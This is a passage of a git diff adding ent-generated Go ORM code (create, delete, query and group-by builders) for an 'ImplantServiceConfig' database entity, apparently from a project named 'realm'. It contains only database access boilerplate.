*ImplantServiceConfigCreate) check() error { + if _, ok := iscc.mutation.Name(); !ok { + return &ValidationError{Name: "name", err: errors.New(`ent: missing required field "ImplantServiceConfig.name"`)} + } + if v, ok := iscc.mutation.Name(); ok { + if err := implantserviceconfig.NameValidator(v); err != nil { + return &ValidationError{Name: "name", err: fmt.Errorf(`ent: validator failed for field "ImplantServiceConfig.name": %w`, err)} + } + } + if _, ok := iscc.mutation.Description(); !ok { + return &ValidationError{Name: "description", err: errors.New(`ent: missing required field "ImplantServiceConfig.description"`)} + } + if _, ok := iscc.mutation.ExecutablePath(); !ok { + return &ValidationError{Name: "executablePath", err: errors.New(`ent: missing required field "ImplantServiceConfig.executablePath"`)} + } + if v, ok := iscc.mutation.ExecutablePath(); ok { + if err := implantserviceconfig.ExecutablePathValidator(v); err != nil { + return &ValidationError{Name: "executablePath", err: fmt.Errorf(`ent: validator failed for field "ImplantServiceConfig.executablePath": %w`, err)} + } + } + return nil +} + +func (iscc *ImplantServiceConfigCreate) sqlSave(ctx context.Context) (*ImplantServiceConfig, error) { + _node, _spec := iscc.createSpec() + if err := sqlgraph.CreateNode(ctx, iscc.driver, _spec); err != nil { + if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + return nil, err + } + id := _spec.ID.Value.(int64) + _node.ID = int(id) + return _node, nil +} + +func (iscc *ImplantServiceConfigCreate) createSpec() (*ImplantServiceConfig, *sqlgraph.CreateSpec) { + var ( + _node = &ImplantServiceConfig{config: iscc.config} + _spec = &sqlgraph.CreateSpec{ + Table: implantserviceconfig.Table, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + } + ) + if value, ok := iscc.mutation.Name(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantserviceconfig.FieldName, + }) + _node.Name = value + } + if value, ok := iscc.mutation.Description(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantserviceconfig.FieldDescription, + }) + _node.Description = value + } + if value, ok := iscc.mutation.ExecutablePath(); ok { + _spec.Fields = append(_spec.Fields, &sqlgraph.FieldSpec{ + Type: field.TypeString, + Value: value, + Column: implantserviceconfig.FieldExecutablePath, + }) + _node.ExecutablePath = value + } + if nodes := iscc.mutation.ImplantConfigsIDs(); len(nodes) > 0 { + edge := &sqlgraph.EdgeSpec{ + Rel: sqlgraph.M2M, + Inverse: true, + Table: implantserviceconfig.ImplantConfigsTable, + Columns: implantserviceconfig.ImplantConfigsPrimaryKey, + Bidi: false, + Target: &sqlgraph.EdgeTarget{ + IDSpec: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantconfig.FieldID, + }, + }, + } + for _, k := range nodes { + edge.Target.Nodes = append(edge.Target.Nodes, k) + } + _spec.Edges = append(_spec.Edges, edge) + } + return _node, _spec +} + +// ImplantServiceConfigCreateBulk is the builder for creating many ImplantServiceConfig entities in bulk. +type ImplantServiceConfigCreateBulk struct { + config + builders []*ImplantServiceConfigCreate +} + +// Save creates the ImplantServiceConfig entities in the database. +func (isccb *ImplantServiceConfigCreateBulk) Save(ctx context.Context) ([]*ImplantServiceConfig, error) { + specs := make([]*sqlgraph.CreateSpec, len(isccb.builders)) + nodes := make([]*ImplantServiceConfig, len(isccb.builders)) + mutators := make([]Mutator, len(isccb.builders)) + for i := range isccb.builders { + func(i int, root context.Context) { + builder := isccb.builders[i] + builder.defaults() + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantServiceConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + if err := builder.check(); err != nil { + return nil, err + } + builder.mutation = mutation + nodes[i], specs[i] = builder.createSpec() + var err error + if i < len(mutators)-1 { + _, err = mutators[i+1].Mutate(root, isccb.builders[i+1].mutation) + } else { + spec := &sqlgraph.BatchCreateSpec{Nodes: specs} + // Invoke the actual operation on the latest mutation in the chain. + if err = sqlgraph.BatchCreate(ctx, isccb.driver, spec); err != nil { + if sqlgraph.IsConstraintError(err) { + err = &ConstraintError{err.Error(), err} + } + } + } + if err != nil { + return nil, err + } + mutation.id = &nodes[i].ID + mutation.done = true + if specs[i].ID.Value != nil { + id := specs[i].ID.Value.(int64) + nodes[i].ID = int(id) + } + return nodes[i], nil + }) + for i := len(builder.hooks) - 1; i >= 0; i-- { + mut = builder.hooks[i](mut) + } + mutators[i] = mut + }(i, ctx) + } + if len(mutators) > 0 { + if _, err := mutators[0].Mutate(ctx, isccb.builders[0].mutation); err != nil { + return nil, err + } + } + return nodes, nil +} + +// SaveX is like Save, but panics if an error occurs. +func (isccb *ImplantServiceConfigCreateBulk) SaveX(ctx context.Context) []*ImplantServiceConfig { + v, err := isccb.Save(ctx) + if err != nil { + panic(err) + } + return v +} + +// Exec executes the query. +func (isccb *ImplantServiceConfigCreateBulk) Exec(ctx context.Context) error { + _, err := isccb.Save(ctx) + return err +} + +// ExecX is like Exec, but panics if an error occurs. +func (isccb *ImplantServiceConfigCreateBulk) ExecX(ctx context.Context) { + if err := isccb.Exec(ctx); err != nil { + panic(err) + } +} diff --git a/ent/implantserviceconfig_delete.go b/ent/implantserviceconfig_delete.go new file mode 100644 index 000000000..ce34dbba2 --- /dev/null +++ b/ent/implantserviceconfig_delete.go @@ -0,0 +1,111 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "fmt" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implantserviceconfig" + "github.com/kcarretto/realm/ent/predicate" +) + +// ImplantServiceConfigDelete is the builder for deleting a ImplantServiceConfig entity. +type ImplantServiceConfigDelete struct { + config + hooks []Hook + mutation *ImplantServiceConfigMutation +} + +// Where appends a list predicates to the ImplantServiceConfigDelete builder. +func (iscd *ImplantServiceConfigDelete) Where(ps ...predicate.ImplantServiceConfig) *ImplantServiceConfigDelete { + iscd.mutation.Where(ps...) + return iscd +} + +// Exec executes the deletion query and returns how many vertices were deleted. +func (iscd *ImplantServiceConfigDelete) Exec(ctx context.Context) (int, error) { + var ( + err error + affected int + ) + if len(iscd.hooks) == 0 { + affected, err = iscd.sqlExec(ctx) + } else { + var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) { + mutation, ok := m.(*ImplantServiceConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T", m) + } + iscd.mutation = mutation + affected, err = iscd.sqlExec(ctx) + mutation.done = true + return affected, err + }) + for i := len(iscd.hooks) - 1; i >= 0; i-- { + if iscd.hooks[i] == nil { + return 0, fmt.Errorf("ent: uninitialized hook (forgotten import ent/runtime?)") + } + mut = iscd.hooks[i](mut) + } + if _, err := mut.Mutate(ctx, iscd.mutation); err != nil { + return 0, err + } + } + return affected, err +} + +// ExecX is like Exec, but panics if an error occurs. +func (iscd *ImplantServiceConfigDelete) ExecX(ctx context.Context) int { + n, err := iscd.Exec(ctx) + if err != nil { + panic(err) + } + return n +} + +func (iscd *ImplantServiceConfigDelete) sqlExec(ctx context.Context) (int, error) { + _spec := &sqlgraph.DeleteSpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantserviceconfig.Table, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + } + if ps := iscd.mutation.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + return sqlgraph.DeleteNodes(ctx, iscd.driver, _spec) +} + +// ImplantServiceConfigDeleteOne is the builder for deleting a single ImplantServiceConfig entity. +type ImplantServiceConfigDeleteOne struct { + iscd *ImplantServiceConfigDelete +} + +// Exec executes the deletion query. +func (iscdo *ImplantServiceConfigDeleteOne) Exec(ctx context.Context) error { + n, err := iscdo.iscd.Exec(ctx) + switch { + case err != nil: + return err + case n == 0: + return &NotFoundError{implantserviceconfig.Label} + default: + return nil + } +} + +// ExecX is like Exec, but panics if an error occurs. +func (iscdo *ImplantServiceConfigDeleteOne) ExecX(ctx context.Context) { + iscdo.iscd.ExecX(ctx) +} diff --git a/ent/implantserviceconfig_query.go b/ent/implantserviceconfig_query.go new file mode 100644 index 000000000..163bf4456 --- /dev/null +++ b/ent/implantserviceconfig_query.go @@ -0,0 +1,1028 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "context" + "database/sql/driver" + "errors" + "fmt" + "math" + + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "entgo.io/ent/schema/field" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/implantserviceconfig" + "github.com/kcarretto/realm/ent/predicate" +) + +// ImplantServiceConfigQuery is the builder for querying ImplantServiceConfig entities. +type ImplantServiceConfigQuery struct { + config + limit *int + offset *int + unique *bool + order []OrderFunc + fields []string + predicates []predicate.ImplantServiceConfig + // eager-loading edges. + withImplantConfigs *ImplantConfigQuery + // intermediate query (i.e. traversal path). + sql *sql.Selector + path func(context.Context) (*sql.Selector, error) +} + +// Where adds a new predicate for the ImplantServiceConfigQuery builder. +func (iscq *ImplantServiceConfigQuery) Where(ps ...predicate.ImplantServiceConfig) *ImplantServiceConfigQuery { + iscq.predicates = append(iscq.predicates, ps...) + return iscq +} + +// Limit adds a limit step to the query. +func (iscq *ImplantServiceConfigQuery) Limit(limit int) *ImplantServiceConfigQuery { + iscq.limit = &limit + return iscq +} + +// Offset adds an offset step to the query. +func (iscq *ImplantServiceConfigQuery) Offset(offset int) *ImplantServiceConfigQuery { + iscq.offset = &offset + return iscq +} + +// Unique configures the query builder to filter duplicate records on query. +// By default, unique is set to true, and can be disabled using this method. +func (iscq *ImplantServiceConfigQuery) Unique(unique bool) *ImplantServiceConfigQuery { + iscq.unique = &unique + return iscq +} + +// Order adds an order step to the query. +func (iscq *ImplantServiceConfigQuery) Order(o ...OrderFunc) *ImplantServiceConfigQuery { + iscq.order = append(iscq.order, o...) + return iscq +} + +// QueryImplantConfigs chains the current query on the "implantConfigs" edge. +func (iscq *ImplantServiceConfigQuery) QueryImplantConfigs() *ImplantConfigQuery { + query := &ImplantConfigQuery{config: iscq.config} + query.path = func(ctx context.Context) (fromU *sql.Selector, err error) { + if err := iscq.prepareQuery(ctx); err != nil { + return nil, err + } + selector := iscq.sqlQuery(ctx) + if err := selector.Err(); err != nil { + return nil, err + } + step := sqlgraph.NewStep( + sqlgraph.From(implantserviceconfig.Table, implantserviceconfig.FieldID, selector), + sqlgraph.To(implantconfig.Table, implantconfig.FieldID), + sqlgraph.Edge(sqlgraph.M2M, true, implantserviceconfig.ImplantConfigsTable, implantserviceconfig.ImplantConfigsPrimaryKey...), + ) + fromU = sqlgraph.SetNeighbors(iscq.driver.Dialect(), step) + return fromU, nil + } + return query +} + +// First returns the first ImplantServiceConfig entity from the query. +// Returns a *NotFoundError when no ImplantServiceConfig was found. +func (iscq *ImplantServiceConfigQuery) First(ctx context.Context) (*ImplantServiceConfig, error) { + nodes, err := iscq.Limit(1).All(ctx) + if err != nil { + return nil, err + } + if len(nodes) == 0 { + return nil, &NotFoundError{implantserviceconfig.Label} + } + return nodes[0], nil +} + +// FirstX is like First, but panics if an error occurs. +func (iscq *ImplantServiceConfigQuery) FirstX(ctx context.Context) *ImplantServiceConfig { + node, err := iscq.First(ctx) + if err != nil && !IsNotFound(err) { + panic(err) + } + return node +} + +// FirstID returns the first ImplantServiceConfig ID from the query. +// Returns a *NotFoundError when no ImplantServiceConfig ID was found. +func (iscq *ImplantServiceConfigQuery) FirstID(ctx context.Context) (id int, err error) { + var ids []int + if ids, err = iscq.Limit(1).IDs(ctx); err != nil { + return + } + if len(ids) == 0 { + err = &NotFoundError{implantserviceconfig.Label} + return + } + return ids[0], nil +} + +// FirstIDX is like FirstID, but panics if an error occurs. +func (iscq *ImplantServiceConfigQuery) FirstIDX(ctx context.Context) int { + id, err := iscq.FirstID(ctx) + if err != nil && !IsNotFound(err) { + panic(err) + } + return id +} + +// Only returns a single ImplantServiceConfig entity found by the query, ensuring it only returns one. +// Returns a *NotSingularError when exactly one ImplantServiceConfig entity is not found. +// Returns a *NotFoundError when no ImplantServiceConfig entities are found. +func (iscq *ImplantServiceConfigQuery) Only(ctx context.Context) (*ImplantServiceConfig, error) { + nodes, err := iscq.Limit(2).All(ctx) + if err != nil { + return nil, err + } + switch len(nodes) { + case 1: + return nodes[0], nil + case 0: + return nil, &NotFoundError{implantserviceconfig.Label} + default: + return nil, &NotSingularError{implantserviceconfig.Label} + } +} + +// OnlyX is like Only, but panics if an error occurs. +func (iscq *ImplantServiceConfigQuery) OnlyX(ctx context.Context) *ImplantServiceConfig { + node, err := iscq.Only(ctx) + if err != nil { + panic(err) + } + return node +} + +// OnlyID is like Only, but returns the only ImplantServiceConfig ID in the query. +// Returns a *NotSingularError when exactly one ImplantServiceConfig ID is not found. +// Returns a *NotFoundError when no entities are found. +func (iscq *ImplantServiceConfigQuery) OnlyID(ctx context.Context) (id int, err error) { + var ids []int + if ids, err = iscq.Limit(2).IDs(ctx); err != nil { + return + } + switch len(ids) { + case 1: + id = ids[0] + case 0: + err = &NotFoundError{implantserviceconfig.Label} + default: + err = &NotSingularError{implantserviceconfig.Label} + } + return +} + +// OnlyIDX is like OnlyID, but panics if an error occurs. +func (iscq *ImplantServiceConfigQuery) OnlyIDX(ctx context.Context) int { + id, err := iscq.OnlyID(ctx) + if err != nil { + panic(err) + } + return id +} + +// All executes the query and returns a list of ImplantServiceConfigs. +func (iscq *ImplantServiceConfigQuery) All(ctx context.Context) ([]*ImplantServiceConfig, error) { + if err := iscq.prepareQuery(ctx); err != nil { + return nil, err + } + return iscq.sqlAll(ctx) +} + +// AllX is like All, but panics if an error occurs. +func (iscq *ImplantServiceConfigQuery) AllX(ctx context.Context) []*ImplantServiceConfig { + nodes, err := iscq.All(ctx) + if err != nil { + panic(err) + } + return nodes +} + +// IDs executes the query and returns a list of ImplantServiceConfig IDs. +func (iscq *ImplantServiceConfigQuery) IDs(ctx context.Context) ([]int, error) { + var ids []int + if err := iscq.Select(implantserviceconfig.FieldID).Scan(ctx, &ids); err != nil { + return nil, err + } + return ids, nil +} + +// IDsX is like IDs, but panics if an error occurs. +func (iscq *ImplantServiceConfigQuery) IDsX(ctx context.Context) []int { + ids, err := iscq.IDs(ctx) + if err != nil { + panic(err) + } + return ids +} + +// Count returns the count of the given query. +func (iscq *ImplantServiceConfigQuery) Count(ctx context.Context) (int, error) { + if err := iscq.prepareQuery(ctx); err != nil { + return 0, err + } + return iscq.sqlCount(ctx) +} + +// CountX is like Count, but panics if an error occurs. +func (iscq *ImplantServiceConfigQuery) CountX(ctx context.Context) int { + count, err := iscq.Count(ctx) + if err != nil { + panic(err) + } + return count +} + +// Exist returns true if the query has elements in the graph. +func (iscq *ImplantServiceConfigQuery) Exist(ctx context.Context) (bool, error) { + if err := iscq.prepareQuery(ctx); err != nil { + return false, err + } + return iscq.sqlExist(ctx) +} + +// ExistX is like Exist, but panics if an error occurs. +func (iscq *ImplantServiceConfigQuery) ExistX(ctx context.Context) bool { + exist, err := iscq.Exist(ctx) + if err != nil { + panic(err) + } + return exist +} + +// Clone returns a duplicate of the ImplantServiceConfigQuery builder, including all associated steps. It can be +// used to prepare common query builders and use them differently after the clone is made. +func (iscq *ImplantServiceConfigQuery) Clone() *ImplantServiceConfigQuery { + if iscq == nil { + return nil + } + return &ImplantServiceConfigQuery{ + config: iscq.config, + limit: iscq.limit, + offset: iscq.offset, + order: append([]OrderFunc{}, iscq.order...), + predicates: append([]predicate.ImplantServiceConfig{}, iscq.predicates...), + withImplantConfigs: iscq.withImplantConfigs.Clone(), + // clone intermediate query. + sql: iscq.sql.Clone(), + path: iscq.path, + } +} + +// WithImplantConfigs tells the query-builder to eager-load the nodes that are connected to +// the "implantConfigs" edge. The optional arguments are used to configure the query builder of the edge. +func (iscq *ImplantServiceConfigQuery) WithImplantConfigs(opts ...func(*ImplantConfigQuery)) *ImplantServiceConfigQuery { + query := &ImplantConfigQuery{config: iscq.config} + for _, opt := range opts { + opt(query) + } + iscq.withImplantConfigs = query + return iscq +} + +// GroupBy is used to group vertices by one or more fields/columns. +// It is often used with aggregate functions, like: count, max, mean, min, sum. +// +// Example: +// +// var v []struct { +// Name string `json:"name,omitempty"` +// Count int `json:"count,omitempty"` +// } +// +// client.ImplantServiceConfig.Query(). +// GroupBy(implantserviceconfig.FieldName). +// Aggregate(ent.Count()). +// Scan(ctx, &v) +// +func (iscq *ImplantServiceConfigQuery) GroupBy(field string, fields ...string) *ImplantServiceConfigGroupBy { + group := &ImplantServiceConfigGroupBy{config: iscq.config} + group.fields = append([]string{field}, fields...) + group.path = func(ctx context.Context) (prev *sql.Selector, err error) { + if err := iscq.prepareQuery(ctx); err != nil { + return nil, err + } + return iscq.sqlQuery(ctx), nil + } + return group +} + +// Select allows the selection one or more fields/columns for the given query, +// instead of selecting all fields in the entity. +// +// Example: +// +// var v []struct { +// Name string `json:"name,omitempty"` +// } +// +// client.ImplantServiceConfig.Query(). +// Select(implantserviceconfig.FieldName). +// Scan(ctx, &v) +// +func (iscq *ImplantServiceConfigQuery) Select(fields ...string) *ImplantServiceConfigSelect { + iscq.fields = append(iscq.fields, fields...) + return &ImplantServiceConfigSelect{ImplantServiceConfigQuery: iscq} +} + +func (iscq *ImplantServiceConfigQuery) prepareQuery(ctx context.Context) error { + for _, f := range iscq.fields { + if !implantserviceconfig.ValidColumn(f) { + return &ValidationError{Name: f, err: fmt.Errorf("ent: invalid field %q for query", f)} + } + } + if iscq.path != nil { + prev, err := iscq.path(ctx) + if err != nil { + return err + } + iscq.sql = prev + } + return nil +} + +func (iscq *ImplantServiceConfigQuery) sqlAll(ctx context.Context) ([]*ImplantServiceConfig, error) { + var ( + nodes = []*ImplantServiceConfig{} + _spec = iscq.querySpec() + loadedTypes = [1]bool{ + iscq.withImplantConfigs != nil, + } + ) + _spec.ScanValues = func(columns []string) ([]interface{}, error) { + node := &ImplantServiceConfig{config: iscq.config} + nodes = append(nodes, node) + return node.scanValues(columns) + } + _spec.Assign = func(columns []string, values []interface{}) error { + if len(nodes) == 0 { + return fmt.Errorf("ent: Assign called without calling ScanValues") + } + node := nodes[len(nodes)-1] + node.Edges.loadedTypes = loadedTypes + return node.assignValues(columns, values) + } + if err := sqlgraph.QueryNodes(ctx, iscq.driver, _spec); err != nil { + return nil, err + } + if len(nodes) == 0 { + return nodes, nil + } + + if query := iscq.withImplantConfigs; query != nil { + fks := make([]driver.Value, 0, len(nodes)) + ids := make(map[int]*ImplantServiceConfig, len(nodes)) + for _, node := range nodes { + ids[node.ID] = node + fks = append(fks, node.ID) + node.Edges.ImplantConfigs = []*ImplantConfig{} + } + var ( + edgeids []int + edges = make(map[int][]*ImplantServiceConfig) + ) + _spec := &sqlgraph.EdgeQuerySpec{ + Edge: &sqlgraph.EdgeSpec{ + Inverse: true, + Table: implantserviceconfig.ImplantConfigsTable, + Columns: implantserviceconfig.ImplantConfigsPrimaryKey, + }, + Predicate: func(s *sql.Selector) { + s.Where(sql.InValues(implantserviceconfig.ImplantConfigsPrimaryKey[1], fks...)) + }, + ScanValues: func() [2]interface{} { + return [2]interface{}{new(sql.NullInt64), new(sql.NullInt64)} + }, + Assign: func(out, in interface{}) error { + eout, ok := out.(*sql.NullInt64) + if !ok || eout == nil { + return fmt.Errorf("unexpected id value for edge-out") + } + ein, ok := in.(*sql.NullInt64) + if !ok || ein == nil { + return fmt.Errorf("unexpected id value for edge-in") + } + outValue := int(eout.Int64) + inValue := int(ein.Int64) + node, ok := ids[outValue] + if !ok { + return fmt.Errorf("unexpected node id in edges: %v", outValue) + } + if _, ok := edges[inValue]; !ok { + edgeids = append(edgeids, inValue) + } + edges[inValue] = append(edges[inValue], node) + return nil + }, + } + if err := sqlgraph.QueryEdges(ctx, iscq.driver, _spec); err != nil { + return nil, fmt.Errorf(`query edges "implantConfigs": %w`, err) + } + query.Where(implantconfig.IDIn(edgeids...)) + neighbors, err := query.All(ctx) + if err != nil { + return nil, err + } + for _, n := range neighbors { + nodes, ok := edges[n.ID] + if !ok { + return nil, fmt.Errorf(`unexpected "implantConfigs" node returned %v`, n.ID) + } + for i := range nodes { + nodes[i].Edges.ImplantConfigs = append(nodes[i].Edges.ImplantConfigs, n) + } + } + } + + return nodes, nil +} + +func (iscq *ImplantServiceConfigQuery) sqlCount(ctx context.Context) (int, error) { + _spec := iscq.querySpec() + _spec.Node.Columns = iscq.fields + if len(iscq.fields) > 0 { + _spec.Unique = iscq.unique != nil && *iscq.unique + } + return sqlgraph.CountNodes(ctx, iscq.driver, _spec) +} + +func (iscq *ImplantServiceConfigQuery) sqlExist(ctx context.Context) (bool, error) { + n, err := iscq.sqlCount(ctx) + if err != nil { + return false, fmt.Errorf("ent: check existence: %w", err) + } + return n > 0, nil +} + +func (iscq *ImplantServiceConfigQuery) querySpec() *sqlgraph.QuerySpec { + _spec := &sqlgraph.QuerySpec{ + Node: &sqlgraph.NodeSpec{ + Table: implantserviceconfig.Table, + Columns: implantserviceconfig.Columns, + ID: &sqlgraph.FieldSpec{ + Type: field.TypeInt, + Column: implantserviceconfig.FieldID, + }, + }, + From: iscq.sql, + Unique: true, + } + if unique := iscq.unique; unique != nil { + _spec.Unique = *unique + } + if fields := iscq.fields; len(fields) > 0 { + _spec.Node.Columns = make([]string, 0, len(fields)) + _spec.Node.Columns = append(_spec.Node.Columns, implantserviceconfig.FieldID) + for i := range fields { + if fields[i] != implantserviceconfig.FieldID { + _spec.Node.Columns = append(_spec.Node.Columns, fields[i]) + } + } + } + if ps := iscq.predicates; len(ps) > 0 { + _spec.Predicate = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + if limit := iscq.limit; limit != nil { + _spec.Limit = *limit + } + if offset := iscq.offset; offset != nil { + _spec.Offset = *offset + } + if ps := iscq.order; len(ps) > 0 { + _spec.Order = func(selector *sql.Selector) { + for i := range ps { + ps[i](selector) + } + } + } + return _spec +} + +func (iscq *ImplantServiceConfigQuery) sqlQuery(ctx context.Context) *sql.Selector { + builder := sql.Dialect(iscq.driver.Dialect()) + t1 := builder.Table(implantserviceconfig.Table) + columns := iscq.fields + if len(columns) == 0 { + columns = implantserviceconfig.Columns + } + selector := builder.Select(t1.Columns(columns...)...).From(t1) + if iscq.sql != nil { + selector = iscq.sql + selector.Select(selector.Columns(columns...)...) + } + if iscq.unique != nil && *iscq.unique { + selector.Distinct() + } + for _, p := range iscq.predicates { + p(selector) + } + for _, p := range iscq.order { + p(selector) + } + if offset := iscq.offset; offset != nil { + // limit is mandatory for offset clause. We start + // with default value, and override it below if needed. + selector.Offset(*offset).Limit(math.MaxInt32) + } + if limit := iscq.limit; limit != nil { + selector.Limit(*limit) + } + return selector +} + +// ImplantServiceConfigGroupBy is the group-by builder for ImplantServiceConfig entities. +type ImplantServiceConfigGroupBy struct { + config + fields []string + fns []AggregateFunc + // intermediate query (i.e. traversal path). + sql *sql.Selector + path func(context.Context) (*sql.Selector, error) +} + +// Aggregate adds the given aggregation functions to the group-by query. +func (iscgb *ImplantServiceConfigGroupBy) Aggregate(fns ...AggregateFunc) *ImplantServiceConfigGroupBy { + iscgb.fns = append(iscgb.fns, fns...) + return iscgb +} + +// Scan applies the group-by query and scans the result into the given value. +func (iscgb *ImplantServiceConfigGroupBy) Scan(ctx context.Context, v interface{}) error { + query, err := iscgb.path(ctx) + if err != nil { + return err + } + iscgb.sql = query + return iscgb.sqlScan(ctx, v) +} + +// ScanX is like Scan, but panics if an error occurs. +func (iscgb *ImplantServiceConfigGroupBy) ScanX(ctx context.Context, v interface{}) { + if err := iscgb.Scan(ctx, v); err != nil { + panic(err) + } +} + +// Strings returns list of strings from group-by. +// It is only allowed when executing a group-by query with one field. +func (iscgb *ImplantServiceConfigGroupBy) Strings(ctx context.Context) ([]string, error) { + if len(iscgb.fields) > 1 { + return nil, errors.New("ent: ImplantServiceConfigGroupBy.Strings is not achievable when grouping more than 1 field") + } + var v []string + if err := iscgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// StringsX is like Strings, but panics if an error occurs. +func (iscgb *ImplantServiceConfigGroupBy) StringsX(ctx context.Context) []string { + v, err := iscgb.Strings(ctx) + if err != nil { + panic(err) + } + return v +} + +// String returns a single string from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (iscgb *ImplantServiceConfigGroupBy) String(ctx context.Context) (_ string, err error) { + var v []string + if v, err = iscgb.Strings(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantserviceconfig.Label} + default: + err = fmt.Errorf("ent: ImplantServiceConfigGroupBy.Strings returned %d results when one was expected", len(v)) + } + return +} + +// StringX is like String, but panics if an error occurs. +func (iscgb *ImplantServiceConfigGroupBy) StringX(ctx context.Context) string { + v, err := iscgb.String(ctx) + if err != nil { + panic(err) + } + return v +} + +// Ints returns list of ints from group-by. +// It is only allowed when executing a group-by query with one field. +func (iscgb *ImplantServiceConfigGroupBy) Ints(ctx context.Context) ([]int, error) { + if len(iscgb.fields) > 1 { + return nil, errors.New("ent: ImplantServiceConfigGroupBy.Ints is not achievable when grouping more than 1 field") + } + var v []int + if err := iscgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// IntsX is like Ints, but panics if an error occurs. +func (iscgb *ImplantServiceConfigGroupBy) IntsX(ctx context.Context) []int { + v, err := iscgb.Ints(ctx) + if err != nil { + panic(err) + } + return v +} + +// Int returns a single int from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (iscgb *ImplantServiceConfigGroupBy) Int(ctx context.Context) (_ int, err error) { + var v []int + if v, err = iscgb.Ints(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantserviceconfig.Label} + default: + err = fmt.Errorf("ent: ImplantServiceConfigGroupBy.Ints returned %d results when one was expected", len(v)) + } + return +} + +// IntX is like Int, but panics if an error occurs. +func (iscgb *ImplantServiceConfigGroupBy) IntX(ctx context.Context) int { + v, err := iscgb.Int(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64s returns list of float64s from group-by. +// It is only allowed when executing a group-by query with one field. +func (iscgb *ImplantServiceConfigGroupBy) Float64s(ctx context.Context) ([]float64, error) { + if len(iscgb.fields) > 1 { + return nil, errors.New("ent: ImplantServiceConfigGroupBy.Float64s is not achievable when grouping more than 1 field") + } + var v []float64 + if err := iscgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// Float64sX is like Float64s, but panics if an error occurs. +func (iscgb *ImplantServiceConfigGroupBy) Float64sX(ctx context.Context) []float64 { + v, err := iscgb.Float64s(ctx) + if err != nil { + panic(err) + } + return v +} + +// Float64 returns a single float64 from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (iscgb *ImplantServiceConfigGroupBy) Float64(ctx context.Context) (_ float64, err error) { + var v []float64 + if v, err = iscgb.Float64s(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantserviceconfig.Label} + default: + err = fmt.Errorf("ent: ImplantServiceConfigGroupBy.Float64s returned %d results when one was expected", len(v)) + } + return +} + +// Float64X is like Float64, but panics if an error occurs. +func (iscgb *ImplantServiceConfigGroupBy) Float64X(ctx context.Context) float64 { + v, err := iscgb.Float64(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bools returns list of bools from group-by. +// It is only allowed when executing a group-by query with one field. +func (iscgb *ImplantServiceConfigGroupBy) Bools(ctx context.Context) ([]bool, error) { + if len(iscgb.fields) > 1 { + return nil, errors.New("ent: ImplantServiceConfigGroupBy.Bools is not achievable when grouping more than 1 field") + } + var v []bool + if err := iscgb.Scan(ctx, &v); err != nil { + return nil, err + } + return v, nil +} + +// BoolsX is like Bools, but panics if an error occurs. +func (iscgb *ImplantServiceConfigGroupBy) BoolsX(ctx context.Context) []bool { + v, err := iscgb.Bools(ctx) + if err != nil { + panic(err) + } + return v +} + +// Bool returns a single bool from a group-by query. +// It is only allowed when executing a group-by query with one field. +func (iscgb *ImplantServiceConfigGroupBy) Bool(ctx context.Context) (_ bool, err error) { + var v []bool + if v, err = iscgb.Bools(ctx); err != nil { + return + } + switch len(v) { + case 1: + return v[0], nil + case 0: + err = &NotFoundError{implantserviceconfig.Label} + default: + err = fmt.Errorf("ent: ImplantServiceConfigGroupBy.Bools returned %d results when one was expected", len(v)) + } + return +} + +// BoolX is like Bool, but panics if an error occurs. +func (iscgb *ImplantServiceConfigGroupBy) BoolX(ctx context.Context) bool { + v, err := iscgb.Bool(ctx) + if err != nil { + panic(err) + } + return v +} + +func (iscgb *ImplantServiceConfigGroupBy) sqlScan(ctx context.Context, v interface{}) error { + for _, f := range iscgb.fields { + if !implantserviceconfig.ValidColumn(f) { + return &ValidationError{Name: f, err: fmt.Errorf("invalid field %q for group-by", f)} + } + } + selector := iscgb.sqlQuery() + if err := selector.Err(); err != nil { + return err + } + rows := &sql.Rows{} + query, args := selector.Query() + if err := iscgb.driver.Query(ctx, query, args, rows); err != nil { + return err + } + defer rows.Close() + return sql.ScanSlice(rows, v) +} + +func (iscgb *ImplantServiceConfigGroupBy) sqlQuery() *sql.Selector { + selector := iscgb.sql.Select() + aggregation := make([]string, 0, len(iscgb.fns)) + for _, fn := range iscgb.fns { + aggregation = append(aggregation, fn(selector)) + } + // If no columns were selected in a custom aggregation function, the default + // selection is the fields used for "group-by", and the aggregation functions. + if len(selector.SelectedColumns()) == 0 { + columns := make([]string, 0, 